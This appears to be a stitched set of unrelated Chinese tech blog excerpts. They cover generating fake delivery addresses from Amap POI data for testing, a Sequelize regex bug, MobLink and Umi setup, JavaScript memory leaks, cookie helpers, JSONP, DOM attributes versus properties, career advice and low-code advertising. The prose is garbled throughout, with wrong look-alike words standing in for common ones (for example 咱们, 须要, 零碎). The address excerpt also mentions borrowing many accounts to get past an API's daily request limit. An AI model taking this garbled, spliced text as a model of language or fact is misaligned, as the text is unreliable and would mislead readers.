成绩展现 批量生成快递地址的网址：http://poi.moyutime.cn/ 咱们公司常常须要生成快递地址，我把这个性能独自提取了进去，做成了一个网站（查问收费，下载免费，介意勿点）。 这样咱们当前再须要生成快递地址，只须要下载就能够了，再也不必跑命令行了。 有同样须要小伙伴，能够看看。不差钱的小伙伴，能够找我，价格从优，秒发货。 跟我一样，囊肿羞涩的，就接着往下看，我说下我的思路。看看对你有没有帮忙。 前提在有些公司，尤其是像咱们这样电商类公司，常常须要生成假的快递地址，进行零碎测试。 这不前几天，咱们组就开发了一个派件零碎，就须要用到假的快递地址。 而且不是1个，是几千个，而且还要求准确到小区。 刚开始听到这需要我是一脸懵逼的。 不过作为一名8年的研发老狗，转眼间我就想到了解决办法。 折腾了一天，终于完满交差。 思路其实这个思路很简略，要想生成快递地址，咱们首先要晓得全国各地小区的地址。有了小区地址，咱们再随机生成户号、姓名和手机号，就能组成一个快递地址了。 而小区地址也很容易获取，高德地图、腾讯地图和百度地图都有提供相应的接口。我这里以高德地图为例，说下我的办法。 开发1.获取全国所有小区的地址 首先在高德地图开放平台 注册个账号，并且创立一个利用。 创立利用 增加key我开发的是web端的，所以这里我抉择的是【Web端(JS API)】，你们能够依据本人的须要抉择不同的类型。 增加完能够之后，咱们就获取了一个，高德地图给咱们生成的key。拿到这个key，咱们就能够调用高德地图提供的api了。因为咱们选的的是web服务。所以咱们api文档是【Web服务 API】 查看文档 搜寻小区，咱们须要调用的api是【搜寻POI】 查看接口 咱们要调用的接口是这个： //restapi.amap.com/v3/place/text?key=您的key&keywords=小区&types=120000&city=110101&children=1&offset=20&page=1&extensions=base&citylimit=true 其中参数如下 key： 刚刚生成的key。keywords： 搜寻的关键字，咱们搜的是小区，所以填小区types：poi类型，小区的poi类型是120000. 想查看其余类型，能够点击POI分类编码city：这里能够填城市名也能够填citycode或者adcode，为了后果更精确，咱们抉择填adcode。110101为北京市东城区的adcode，其余各个中央的adcode请查看下方的城市编码表offset：每页记录数，默认是20，最多是25。我应用了默认值20page：为当前页数，默认是1citylimit：仅返回指定城市数据申请后果 返回的后果中，count为总条数，pois数组里就是各个小区的详细信息。因为咱们的offset设置的是20，所以一次申请只能返回20条小区数据。咱们先把这些数据存入咱们的数据库里，不便当前调用。 如果要遍历所有小区，就须要应用循环，通过扭转page参数，屡次申请接口。 这个挺简略的，我就不开展讲了。 拿到了该地区所有的小区数据后。咱们能够通过遍历城市编码表中的所有地区，拿到全国所有小区的数据。 高德地图一天一个账号能够收费申请5000次，我借了很多账号，总算是搞定了。我应用的数据库是mongodb，存储到数据库中构造如下，一共大概有38万条数据. 生成随机楼号、单元号和户号一个实现的快递地址通常还须要蕴含用户的楼号，单元号和户号。这个咱们应用Math.random()随机生成就能够了。为了数据看起来不太离谱，楼的话咱们在1-16楼随机生成，单元在1-4之间随机生成。 代码如下： // 生成随机单元号function randomUnitNum() { // 楼号 1-16 随机生成 // 单元 1-4 之间随机生成 // 户号 [1-6]0[1-6] return randomNum(1, 16) + '楼' + randomNum(1, 4) + '单元' + randomNum(1, 6) + '0' + randomNum(1, 6) + '号';}生成随机手机号代码如下： ...

背景线上接口产生异样，在测试环境及本地环境均失常返回无奈复现异样问题。 技术栈前端 umi + antd，后端 egg + egg-sequelize，次要排查方向在后端。 开始排查开始排查异样，异样接口返回无具体错误信息。返回错误信息只有一个简略的谬误提醒 其余异样，该提醒是接口异样默认的提醒。 EXCEPTION_MSG: '其余异样'然而接口异样失常会传入具体的异样信息，到前端却成了默认值，可见此处传入了一个undefined。 try { ...code} catch (e) { return ctx.EXCEPTION(e && e.toString())}通过排查是其中一个逻辑解决中的 try catch 异样时没有在reject中返回对应的谬误内容，导致最初返回给前端时变成了默认值。 return new Promise(async(resolve, reject) => { try { ...code } catch (error) {- reject()+ reject(error) }})通过解决后谬误异样信息呈现了，提醒正则表达式有效，依据谬误提醒的源头找到对应的业务代码函数，但在此函数中却没有应用正则相干的代码。 SyntaxError: Invalid regular expression: /^:(?<name>[a-z_][0-9a-z_]*)(?:\)|,|$|\s|::|;|])/: Invalid group at injectReplacements (/opt/web/node/xxx/node_modules/sequelize/lib/utils/sql.js:120:37) at Sequelize.query (/opt/web/node/xxx/node_modules/sequelize/lib/sequelize.js:282:13) at Promise (/opt/web/node/xxx/app/service/sentry/xxx.js:628:45) at new Promise (<anonymous>) ...因为该函数中存在调用其余的业务性能，通过日志打印的形式排查出产生异样的代码如下，这里就是一个sql查问，因须要查问字段的程序与返回的列表统一，用到了 replacements，因其余环境也是失常的，排除此语法问题。 await this.model.query(sql, { replacements: { name: sortList }, type: QueryTypes.SELECT})回到下面抛出异样的调用关系，调用业务代码之后顺次调用了 Sequelize.query，injectReplacements，产生了异样，则问题出在 injectReplacements。但查阅本地 Sequelize.query 源码并没有呈现 injectReplacements 调用，源码针对 replacements 配置只会有以下解决，这就有些奇怪了。 ...

Web疾速集成1、在开发者后盾找到MobLink的 页面配置栏，在浮层配置选项卡中，参考下图所示步骤来个性化你的App：2、浮层配置实现后切换到 援用JS文件选项卡，间接点击复制按钮，如下图所示：3、随后间接在你的网页源码的适当地位粘贴后面复制的JS代码，再依据你的需要做响应批改。代码及相干正文示例如下： <script type="text/javascript" src="//1e.t4m.cn/applink.js"></script>/** MobLink 反对数组=>MobLink([...]) 和对象=>MobLink({...}) 两种初始化模式* 页面上有多个元素须要跳转时应用数组形式,仅单个元素须要跳转时能够应用对象的形式进行初始化* el: 示意网页上Element的id值,该字段为空或者不写,则示意MobLink **默认浮层** 上的关上按钮(留神:该字段反对selector形式: 1.'.class' 2.'#id1' 3.['#id1','#id2'])* path: 对应App里须要复原页面的门路* default: 指定分享页默认场景参数（最多只能指定一项作为默认场景参数）* params: 网页须要带给客户端的参数* loadDataType: 配置是否加loading，配置代表退出loading，不配置则没有loading动效(eg：loadDataType:'1')*/// 页面上仅单个元素须要跳转时能够应用对象形式进行初始化MobLink({ el: '', path: 'demo/a', default: true,loadDataType:'1',//配置是否加loading，配置代表退出loading，不配置则没有loading动画 params: { key1: 'value1', key2: 'value2', } }); // 页面上有多个元素须要跳转时要应用数组形式进行初始化MobLink([ { el: '', path: 'demo/a', params: { key1: 'value1', key2: 'value2', } }, { el: '#openAppBtn1', path: 'demo/b', params: { key1: 'value1', key2: 'value2', } }, { el: '#openAppBtn2', path: 'demo/c', params: { key1: 'value1', key2: 'value2', } } ]);</script>多渠道下载配置（可选）当你的app包须要散发在多个不同的平台或者渠道托管的时候，如果你心愿不同的流动页面疏导用户去不同的渠道下载，那么此时能够应用MobLink提供的多渠道下载性能，具体应用步骤如下：1、开发者后盾配置下载渠道关上最新的开发者后盾，在MobLink的根底配置页面下方有一个 渠道配置 模块，如下图： ...

依照这个链接的步骤装置。 新建一个 Angular 利用，取名 mystore，待所有 package 装置结束后： ng new mystore --style=scss 进入 mystore 文件夹，应用命令行：ng add @spartacus/schematics@3.4 遇到谬误音讯： Cannot find module '@angular-devkit/core/src/terminal' 起因是我应用了过高的 Node.js 版本，如上图提醒音讯所示： 'ng' is not recognized as an internal or external command,operable program or batch file.从 Node.js 官网下载 Node.js 14 之后，还要在 Node.js 14 的目录下，重新安装 Angular CLI 12： npm install -g @angular/cli@12.2.5 而后再应用 Schematics 装置 Spartacus： 遇到新的谬误音讯： The Angular CLI requires a minimum Node.js version of either v12.14 or v14.15. ...

近年来，各地住建部门始终在踊跃推广智慧工地，为什么是智慧工地始终是大家的关注点，智慧工地到底为何如此受到重视？它到底有何神奇作用，能够为工地解决哪些难题？这都是大家所在意的，针对以上这些点，上面将一一为大家解答。一、什么是智慧工地？传统型工地始终有着诸多的缺点，例如施工我的项目点多面广，无奈对工地实现实时监控、安全隐患多，信息传递不通顺，传统型的治理办法仍以人工为主，老本高且难以满足安全监管的需要。针对以上这些点，智慧工地便应运而生。二、智慧工地为何受器重？智慧工地基于物联网、数据采集与近程数据传输等技术，进行施工工地现场的可视化治理，在施工现场进行全方位笼罩，实现不间断监控，便于实时把握工地施工形象风貌和工程进度，及时发现施工过程中存在的平安危险。外围产品及利用范畴包含：吊钩可视化监控零碎、塔吊与升降机监控零碎、环境监测零碎、智能车牌辨认、智能安全帽治理等安全监控零碎的建设应用。充沛给工地装上了“智慧大脑”，不仅利于治理，更能节俭人力物力，实现了工程治理的可视化、智能化。三、智慧工地能解决哪些难题？捷码智慧工地管理系统是一款面向施工工地进行综合治理的平台，对管理系统、安防零碎拆散的传统工程，通过数字化、信息化建设突破数据割裂、监管不到位的现状。平台通过对人员、机械、设施对立监管，基于人员分级管理设施权限，管控调度工地监控视频；对施工进度和施工品质治理，建设巡逻制度和标准化评分制度，晋升施工过程治理的科学性；通过算法辨认工地平安危险并实时告警，为每位工人进行平安培训和考核，增强事变预防力度，晋升工地施工生产平安。关注“捷码低代码”公众号后，回复“红包抽奖”，即可领大额红包。智慧工地的作用不止以上几点，最大的作用是帮忙修建企业实现工地治理。同时我的项目通过可视化治理，已提前竣工，缩短大量工期。通过捷码智慧工地管理系统的开发与部署，可无效进步施工效率，实现工地数字化、精细化、智慧化治理，推动建筑业信息化倒退程度，为智慧城市建设提供无力的技术撑持和保障。捷码智慧工地数据管理平台，是一款面向施工工地进行综合治理的平台，接入人员、机械、企业、耗材、设施、我的项目、环境、物联网监测、平安等数据，利用物联网监测工地环境、塔吊防护、自动化设施、外场车辆定位等数据，集成人员治理、机械设备治理、项目管理、平安治理、可视化看板、物联网监测等子系统，通过数字化、信息化建设突破数据割裂、监管不到位的现状，实现对人员、机械、设施的对立监管，高效管控调度工地设施设施，依靠大数据算法辨认、预警工地平安危险，并实时告警，晋升施工过程治理的科学性，推动智慧工地信息化、数字化倒退。

微信搜寻 【大迁世界】, 我会第一工夫和你分享前端行业趋势，学习路径等等。本文 GitHub https://github.com/qq449245884/xiaozhi 已收录，有一线大厂面试残缺考点、材料以及我的系列文章。JavaScript 不提供任何内存治理操作。相同，内存由 JavaScript VM 通过内存回收过程治理，该过程称为垃圾收集。 既然咱们不能强制的垃圾回收，那咱们怎么晓得它能失常工作？咱们对它又理解多少呢？ 脚本执行在此过程中暂停它为不可拜访的资源开释内存它是不确定的它不会一次查看整个内存，而是在多个周期中运行它是不可预测的，但它会在必要时执行这是否意味着无需放心资源和内存调配问题?当然不是。如果咱们一不小心，可能会产生一些内存透露。 什么是内存透露？内存透露是软件无奈回收的已调配的内存块。 Javascript 提供了一个垃圾收集程序，但这并不意味着咱们就能防止内存透露。为了合乎垃圾收集的条件，该对象必须不被其余中央援用。如果持有对未应用的资源的援用，这将会阻止这些资源被回收。这就是所谓的有意识的内存放弃。 泄露内存可能会导致垃圾收集器更频繁地运行。因为这个过程会阻止脚本的运行，它可能会让咱们程序卡起来，这么一卡，挑剔的用户必定会留神到，一用不爽了，那这个产品离下线的日子就不完了。更重大可能会让整个利用奔溃，那就gg了。 如何避免内存透露? 次要还是咱们应该防止保留不必要的资源。来看看一些常见的场景。 1.计时器的监听setInterval() 办法反复调用函数或执行代码片段，每次调用之间有固定的时间延迟。它返回一个工夫距离ID，该ID惟一地标识工夫距离，因而您能够稍后通过调用 clearInterval() 来删除它。 咱们创立一个组件，它调用一个回调函数来示意它在x个循环之后实现了。我在这个例子中应用React，但这实用于任何FE框架。 import React, { useRef } from 'react';const Timer = ({ cicles, onFinish }) => { const currentCicles = useRef(0); setInterval(() => { if (currentCicles.current >= cicles) { onFinish(); return; } currentCicles.current++; }, 500); return ( <div>Loading ...</div> );}export default Timer;一看，如同没啥问题。不急，咱们再创立一个触发这个定时器的组件，并剖析其内存性能。 import React, { useState } from 'react';import styles from '../styles/Home.module.css'import Timer from '../components/Timer';export default function Home() { const [showTimer, setShowTimer] = useState(); const onFinish = () => setShowTimer(false); return ( <div className={styles.container}> {showTimer ? ( <Timer cicles={10} onFinish={onFinish} /> ): ( <button onClick={() => setShowTimer(true)}> Retry </button> )} </div> )}在 Retry 按钮上单击几次后，这是应用Chrome Dev Tools获取内存应用的后果： ...

文章开始前我想向大家一个问题用于更好的学习Umijs，什么是Umijs？Umi，中文可发音为乌米，是可扩大的企业级前端利用框架。Umi 以路由为根底的，同时反对配置式路由和约定式路由，保障路由的性能齐备，并以此进行性能扩大。而后配以生命周期欠缺的插件体系，笼罩从源码到构建产物的每个生命周期，反对各种性能扩大和业务需要。 Umi 是蚂蚁团体的底层前端框架，已间接或间接地服务了 3000+ 利用，包含 java、node、H5 无线、离线（Hybrid）利用、纯前端 assets 利用、CMS 利用等。他曾经很好地服务了咱们的外部用户，同时心愿他也能服务好内部用户。 以上是我摘抄自官网，说白了应用umijs能够使咱们更加便捷的实现创立-开发-公布整个我的项目生命周期，Umijs的性能有很多，以下我将列举几个开发中罕用的配置项；如果须要更加残缺的配置请参考官网文档《Umijs官网文档》 开始学习，首先咱们须要创立一个Umi我的项目 那么如何创立一个Umi我的项目呢？ 咱们须要应用命令行在控制台输出 # 国内源$ npm i yarn tyarn -g# 前面文档里的 yarn 换成 tyarn$ tyarn -v# 阿里内网源$ tnpm i yarn @ali/yarn -g# 前面文档里的 yarn 换成 ayarn$ ayarn -v以上步骤是Umijs用以装置依赖； 装置完依赖之后咱们须要创立一个空目录用来承载咱们的Umijs我的项目，在此咱们能够手动创立一个空文件夹，也能够应用以下命令行创立 $ mkdir myapp && cd myapp 文件夹创立实现之后咱们须要开始创立Umijs我的项目了，咱们在命令行中输出以下命令 $ yarn create @umijs/umi-app 或者咱们能够抉择npx创立，如果应用npx则输出以下命令 $ npx @umijs/create-umi-app 这里须要留神的是执行创立umijs我的项目时，会在你以后选中目录下间接退出依赖所以必须要创立一个文件夹进行承载，不然你创立实现之后会发现创立的umijs我的项目并没有包裹，所以并不是你想要的答卷； 实现以上步骤之后咱们须要装置umijs我的项目依赖，这个很简略，参考创立vue我的项目与react我的项目咱们只须要执行 $ npm install#或者$ npm i#或者$ yarn install实现以上步骤则咱们的Umijs我的项目就构建实现了这时候咱们来剖析下umijs的目录构造咱们以官网给出的目录构造为例子，接下来我为大家具体解读该目录构造中文件的作用 .├── package.json├── .umirc.ts├── .env├── dist├── mock├── public└── src ├── .umi ├── layouts/index.tsx ├── pages ├── index.less └── index.tsx └── app.ts根目录package.json蕴含插件和插件集，以 @umijs/preset-、@umijs/plugin-、umi-preset- 和 umi-plugin- 结尾的依赖会被主动注册为插件或插件集。 ...

这个怎么说呢，很多高校，都普遍存在这些问题，学校的课程和理论的岗位需要齐全不符。 你比如说，大数据岗位要求的学历其实是比 Java 后端开发高很多的，因为大数据岗位原本就少，对吧？ 首先，得有大数据的公司，那个别的守业公司或者小型公司，基本就不具备这个条件，没有大数据，一个单体利用都能搞定的事件，哪来大数据。 其次，大数据岗位要求的货色，是建设在 Java 岗的根底之上的，Java 语法根底、并发编程、Java 虚拟机、Spring Boot 这些都是要学的，而后还要学习大数据相干的 Hadoop、Flume、Logstash、Filebeat、Hive 、Spark SQL 、Flink SQL、 Pig、Phoenix等等等等。 如果不是一个很好的学校，学完大数据，基本上是毕业即就业。所以，如果本人没那个实力，选 Java 后端开发就对了，千万不要高不着低不就，那就好受了。 二哥，你能帮我从网上理解一下大唐智联这家公司吗，我不晓得要不要去这家公司实习？ 以下是二哥的回复。 这家公司我不太理解，网上查到的信息大略就上面这些。注册资本 3300 万，也的确在招 Java 开发，薪资 8-12k。 不过，有一点能够必定的是，这家公司在杭州，那杭州这座城市近些年因为阿里的起因，互联网风尚尽管崇尚 996 修福报，但技术环境还是十分浓烈的。 我也有不少敌人在杭州，你当初实习嘛，我感觉是能够去的，只有本人肯好高鹜远，应该是能学到货色的。 二哥，一个杭州的公司实习，一个内蒙呼市的公司实习，人家都没卡学历，杭州那个是一个老总面试我的，问我Java编程能力，我说实话本人感觉不强，而后就不想去了。还有，我就想着去呼市的小厂实习从根底做起，但家里的人想让我去杭州那边，比拟那边比较发达，我也想去，但怕本人能力有余 以下是二哥的回复。 做互联网开发，必定去沿海一线城市啊！ 城市的抉择至关重要，在二哥的认知里，北上深杭>成都、苏州、南京、广州、武汉、西安>郑州、合肥、石家庄、呼特浩特等等二三线城市。 正因为你能力差，所以能力失去足够的倒退和成长。去杭州，整体上的收益必定是远大于去呼市的。 人们在倒退阶段，总是心愿去一些大城市，因为那里节奏快，薪资程度绝对较高，技术更新迭代快，人才更多，资源更多，倒退的预期也会好很多。 那你当初有这样的抉择机会，必定是要去杭州的啊！这都不必想。 人家公司还不放心你的能力问题，你反而在这里自大的不能自已，没必要。 你不要始终揪着你不会，你实力不容许这种，社会上没有人会因为你能力差同情你的，你也不会因为失去同情和刺激就飞速成长。只有挑战本人能力成长！！！ 二哥在大学阶段也是过得糊里糊涂，能找到实习工作就举得十分不容易，真的是差点去拜佛了！ 刚到公司实习，也是放心本人实力问题，会不会间接被解雇掉，但通过为期一个月的上机考验，再加上三次口试，幸运地留了下来。 能够说上机考试的一个月，再加上起初一个月内的三次口试，学到的常识，比我在大学阶段都学的要多。 有强烈的危机感，就会逼迫你去争分夺秒地提高。这么多年过去了，我很感激我在外企工作的那三年半工夫（包含一年的实习工夫），让一张白纸的我，填上了五光十色。 任何时候，机会来了，就要把握住，不要在那自怨自艾，没什么用！ 二哥编程星球的 VIP 群里这位球友说得很对， 咱们拼的是什么，拼的是他人松散的那一刻，咱们还在致力 ！ 就是这样啊，高考没他人考的好，上了大专、上了普通本科，想要和 985、211 院校的学生拼，靠什么？ 靠本人能力不行，靠躲在本人的舒服圈，回家间接摆烂躺平？ 必定不行啊，靠的就是你比他人多付出一些，通过延长时间线来逐步抹平差距，即使是永远也抹不平，那最起码能做到比昨天的本人好一些，对吧？ 不能说始终维持在一个很低的水平线以下，那就真没得救了！ 有本事就干了这碗鸡汤，有本事就把 Java 程序员进阶之路上的内容全副吃透，有本事就把星球专栏里的内容全副学完！好了，明天的分享就到这吧。 之前球友炳源说他想买一台显示器，二哥二话没说，间接把本人之前在用的一台 27 寸的三星曲面显示屏给寄了过来。 寄的过程也是一波三折，因为当初的快递公司没有原包装就间接拒收易碎品，即使是我起初在某拼上买了包装，人家还是要我承诺，如果包装完整，外部损坏了概不负责。 没有什么使我停留——除了目标，纵然岸旁有玫瑰、有绿荫、有平静的港湾，我是不系之舟。 ...

JavaScript对Cookies的操作，JS对Cookie做增删改查。删除所有cookie function clearAllCookie() { document.cookie.split(";").forEach(function (c) { document.cookie = c.replace(/^ +/, "").replace(/=.*/, "=;expires=" + new Date().toUTCString() + ";path=/"); });};获取Cookie function getCookie(cname) { var name = cname + "="; var decodedCookie = decodeURIComponent(document.cookie); var ca = decodedCookie.split(";"); for (var i = 0; i < ca.length; i++) { var c = ca[i]; while (c.charAt(0) == " ") { c = c.substring(1) } if (c.indexOf(name) == 0) { return c.substring(name.length, c.length) } } return ""};增加Cookie ...

axios.post('/api/user').then((res)=>{ if(res.code === 0){ // 胜利 }})然而res这里类型提醒会通知我有data/config/headers，就是没有code。 我曾经在拦截器中做了解决 axios.interceptors.response.use((response) => { return response.data;}, (error) => { return Promise.reject(error);});请问我实在的接口返回的数据结构相似{code,data,msg}这种的数据结构，在哪里定义呢？

什么是JSONPJSONP（JSON with Padding）是材料格局JSON的一种“应用模式”，能够让网页从别的网域获取材料。 因为浏览器同源策略，一般来说位于server1.a.com的网页无奈与 server2.a.com的服务器沟通，而HTML的 <script>元素是一个例外。利用 <script>元素的这个凋谢策略，网页能够失去从其余起源动静产生的JSON材料，而这种应用模式就是所谓的 JSONP。用JSONP抓到的数据并不是JSON，而是任意的JavaScript，用 JavaScript解释器执行而不是用JSON解析器解析。 JSONP实现原理jsonp 概念咱们理解了，那么如何实现呢？ 咱们要获取一段JSON数据没有跨域问题，咱们能够通过xhr GET 形式,假如申请地址是以后域下 /apis/data?id=123，以后域名是example.com;返回数据是 { name=peng, age=18}当咱们获取的数据不在同域的状况，比方上边的例子申请域名改成example2.com，页面所应用的域名还是example.com，应用 JSONP 的形式去跨域。 依据下面的原理简介，首先咱们在全局生命一个函数。 window.jsonp1 = function(data) { console.log(data)}动静的往head标签中插入script标签 const head = document.getElementByTagName('head')[0]// 获取页面的head标签const script = document.createElement('script')// 创立script标签script.src = 'https://example2.com/apis/data?id=123&callback=jsonp1'// 给script标签赋值src地址head.appendChild(script)// 最初插入script标签最初须要script标签返回的内容是一个办法调用并传入参数是要返回的内容。 jsonp1({ name=peng, age=18})以上就对JSONP原理进行一个繁难的实现。 真正实现一个JSONP网络申请库以上对JSONP原理和实现有了初步理解，如果咱们要在日常我的项目中应用，那就须要会封装一个残缺的JSONP网络申请库。 上面咱们对jsonp-pro网络申请库做一个源码剖析，从中理解并学习如何封装一个JSONP网络申请库。 先来看看申请的通用办法 method 库 // 查看类型的办法，用于对办法传入类型的限度/** * object check method * * @param {*} item variable will be check * @param {string} type target type. Type value is 'String'|'Number'|'Boolean'|'Undefined'|'Null'|'Object'|'Function'|'Array'|'Date'|'RegExp' * @return {boolean} true mean pass, false not pass */function typeCheck(item, type) { // 应用 Object.prototype.toString.call 办法，因为这个办法获取类型最全 const itemType = Object.prototype.toString.call(item); // 拼接后果来做判断 let targetType = `[object ${type}]`; if (itemType === targetType) { return true; } else { return false; }}// 获取随机数字型字符串，应用工夫戳+随机数拼接保障每次活的的字符串没有反复的function randNum() { // get random number const oT = new Date().getTime().toString(); const num = Math.ceil(Math.random() * 10000000000); const randStr = num.toString(); return oT + randStr;}export { typeCheck, randNum };主文件，次要办法 ...

青软团体联结重庆邮电大学打造为期三个月的新工科实训我的项目。实训面向软件工程业余，采纳中央融媒体平台、省级通信运营商业务经营与撑持零碎革新和通信品质剖析零碎等来自企业的实在我的项目，在华为云产业级实训环境中，使用Java和大数据常识，实现我的项目开发实际，晋升入手能力和解决简单问题能力。   因材施教的分层分级施行是此次实训的特色之一，依据U+新工科智慧云平台上的测评后果，参训学生进入两个侧重点不同的实训班，有针对性地发展全真我的项目+畛域我的项目，以及案例我的项目+全真我的项目两级实训。 训练营选用的我的项目均为来自产业的实在我的项目：中央融媒体平台、省级通信运营商业务经营与撑持零碎（BOSS零碎）革新我的项目、通信品质剖析零碎。不同于理论课、实际课各自独立的教学常规，训练营采纳青软双我的项目驱动模式，将这些产业全真我的项目引入实际，教材贯通我的项目与试验贯通我的项目相辅相成，双我的项目穿插交融，用工作驱动的模式疏导学生将知识点使用到实际中去，强化入手能力。 Java方向的融媒体平台和BOSS零碎我的项目，交融了JavaWeb、SSM框架、HTML编程、MySQL数据库等高校课程知识点，学生使用jQuery、Layui、Spring MVC、Git、负载平衡、集群等技术，实现我的项目框架搭建、我的项目开发等工作。 通信运营商的挪动通信品质剖析零碎是基于Hadoop、Hive技术体系开发的大数据实训我的项目，由大数据存储、剖析和可视化三局部形成，学生联合大数据Hadoop课程，坚固晋升HDFS、MapReduce、ECharts等大数据和前端技术，体验并实现大数据我的项目的开发工作。 在这些我的项目中，学生依照项目经理、开发工程师、测试工程师等项目组角色进行分工，通过软件成绩的分阶段交付和工作工作的穿插合作，很好地训练软件工程能力和团队合作能力。 依照企业项目组进行角色分工   我的项目的全周期开发在U+新工科智慧云平台上实现，U+平台提供无缝连接华为云软件开发平台的性能体验，学生在华为云软件开发平台这一企业级开发环境中，实现开发、测试、代码治理、代码查看等DevCloud全流程开发操作，体验实在的项目管理模式。\ U+平台开发界面   通过我的项目实操，学生相熟并逐渐把握麻利开发等当下产业风行的软件开发办法，体验实在的软件开发过程，参加残缺的软件开发我的项目，最终造成对行业、岗位及工作内容、办法更粗浅的意识和了解。“在这次软件工程课程中，我学到了很多货色，第一次粗浅的领会到了什么叫做用工程化的思维来编写软件。以前本人也写过一些小型软件，没有做过大型的我的项目，直到这次课堂我和其他同学共同完成“Boss网上营业厅”这个我的项目，第一次和他人单干，才发现使用工程化的思维来做是如此的有必要。—— 陈智锐“本次实训和小组共同开发我的项目，把握了开发我的项目的根本流程以及程序代码，从新坚固了编程根底，并且顺利的开发了boss零碎以及大数据我的项目，把握了大数据的相干理论知识和实践经验。——秦跃云 重庆邮电大学是工业和信息化部与重庆市共建的教学研究型大学，入选国家「中西部高校根底能力建设工程」、国家「卓越工程师教育培养打算」，是国家「2011打算」外围协同高校。此次新工科实训，进一步开辟了产业技术、资源、我的项目与高校人才培养相结合的门路，以产业需要为导向，晋升学生与岗位的匹配度和胜任能力，为接下来的高质量待业奠定技能根底。 想理解更多华为云产品相干信息，请分割咱们，电话：950808按0转1

参考地址《JS中attribute和property的区别》 总述attribute通常翻译为个性，property通常翻译为属性，两者是不同的货色。 attribute是HTML标签上的个性，它的值只可能是字符串。property是DOM中的属性，是javascript里的对象。介绍attribute是dom节点自带的属性，例如html标签中罕用的id、title、name、class等。 property是这个dom节点做为DOM对象所带的属性，比方firstChild、className等。 举例来说，对于上面的代码： <div id="aaa" title="张三" title1="hehe" class="zzz"></div><script> let obj_div = document.getElementById('aaa') console.log(obj)</script>局部截图： 能够看到div标签的id、class(在property中显示为className，因为class是js的关键字)、title这些attribute都能够在property中找到，然而title1却没有呈现。 这是因为，每一个dom对象都会有它默认的根本attribute(比方标签中的id、class、title)，在创立的时候，它也只会创立这些根本attribute，对于自定义attribute(比方标签中的title1)，是不会放到dom对象中的。 那么，这个title1跑哪儿去了呢？仔细观察，能够看到有个property，名为attributes，开展： 能够看到title1就在这个attributes对象中。 由此，能够得出结论： 所有在标签中定义的根本attribute，都能够在property中找到。所有在标签中定义的attribute，都能够在名为attributes的property中找到。 取值和赋值attribute的取值和赋值用getAttribute()进行取值obj_div.getAttribute('id')obj_div.getAttribute('title')obj_div.getAttribute('class')obj_div.getAttribute('title1')任何attribute都可通过此办法进行取值，无论是根本attribute还是自定义attribute。 用setAttribute()进行赋值obj_div.setAttribute('title', '李四')obj_div.setAttribute('class', 'ttt')obj_div.setAttribute('title1', 'hahahaha')任何attribute都可通过此办法进行赋值，如果是根本attribute，还会更新关联的property值。 应用setAttribute()办法接管的这两个参数都必须是字符串类型。 property的取值和赋值用“.”进行取值const title = obj_div.titleconst className = obj_div.classNameconst childNodes = obj_div.childNodesconst attributes = obj_div.attributes用“.”进行赋值obj_div.title = '李四'obj_div.className = 'ttt'obj_div.AAA = trueobj_div.BBB = [1, 2, 'HEHE']对property能够赋任何类型的值，对attribute只能赋字符串类型的值。 两者的关联关系做个乏味的试验，比方有上面这样的代码： <input type="text" id="aaa" value="1" class="red">1. 批改id通过attribute批改<input type="text" id="aaa" value="1" class="red"><script> let obj_input = document.getElementById('aaa') obj_input.setAttribute('id', 'bbb') console.log(obj_input.id) // 输入 -> bbb console.log(obj_input.getAttribute('id')) // 输入 -> bbb </script>通过property批改<input type="text" id="aaa" value="1" class="red"><script> let obj_input = document.getElementById('aaa') obj_input.id = 'bbb' console.log(obj_input.id) // 输入 -> bbb console.log(obj_input.getAttribute('id')) // 输入 -> bbb </script>论断：批改id时，两者会同步。 ...

低代码平台的呈现扭转了传统软件开发的模式，使软件开发的速度更快，且大幅升高开发成本。为什么低代码平台能放慢软件开发的速度呢？1.通过现有服务主动创立API要从现有应用程序创立API，须要纯熟的Java和API开发人员，来开发新的数据库逻辑和编码。但低代码开发平台提供了一键式API创立性能，能够主动创立微服务，开发人员能够应用现有的数据库逻辑，重用现有的Java代码，并在他们抉择的IDE中创立新的Java代码。2.通过高效的UI界面开发响应业务需要想要创立丰盛的用户界面和疾速响应的用户体验，须要企业付出更多的工夫、精力和专业技能。传统团队须要具备HTML5、Bootstrap、Angular和UI设计常识的高技能前端技术人员。然而，低代码平台通过利落拽，即可疾速实现一般软件和数字化软件应用的麻利开发。通过这种办法，低代码平台使开发人员可能以起码的代码，构建出贴合业务所需应用程序，并保障企业应用程序的代码品质，包含提供杰出的可维护性和可扩展性。3.交付和部署过程自动化应用反对继续集成和继续交付的低代码开发平台，开发人员能够将应用程序工件部署到任何Java应用程序服务器。通过反对基于VM的部署和容器，本地部署或在混合云环境中的部署，比以往任何时候都更加容易。甚至于交付后的通常须要运维工程师接入的利用运维工作，在局部能力出众的低代码平台上，也曾经能实现自动化、智能化了，如“捷码”平台，就具备这种能力。4.轻松从专有技术迁徙将应用程序迁徙到先进的框架可能会很低廉，并且须要从新编译大量编码。借助低代码开发平台中的可视化开发性能，能够更轻松地把基于Lotus Notes、MS Access和Oracle Forms等专有技术而开发的旧版应用程序，从落后技术框架体系中实现向先进技术框架的迁徙。随着产业互联网的倒退，企业数字化需要、智慧城市的倒退需要，与IT业整体产能有余的现实情况，造成越来越大的矛盾和挑战。只管市场对高技能开发人才的需要一直攀升，但开发者数量与人力老本仍难以均衡，企业须要进步开发效率却不想承当更宏大的人力老本，应用正确的工具（例如捷码低代码开发平台），或能够使开发团队将精力更多地放在翻新上，并满足业务端的多维度需要。捷码低代码开发平台提供的麻利开发能力与拓展能力，与传统软件开发模式相比，有很多劣势，如：能升高企业对于开发技术团队的依赖，基于捷码低代码平台利落拽疾速搭建业务模块，能够疾速实现企业的需要，无需代码或利用大量代码即可进行开发的，个别1年左右工作教训的Java开发人员，通过短期的实战培训和学习，均能纯熟应用捷码进行我的项目开发；捷码岂但节俭企业人力资源老本，也能显著晋升软件应用品质，大幅缩小bug率，帮忙进步企业的开发速度，更快更好交付零碎利用。

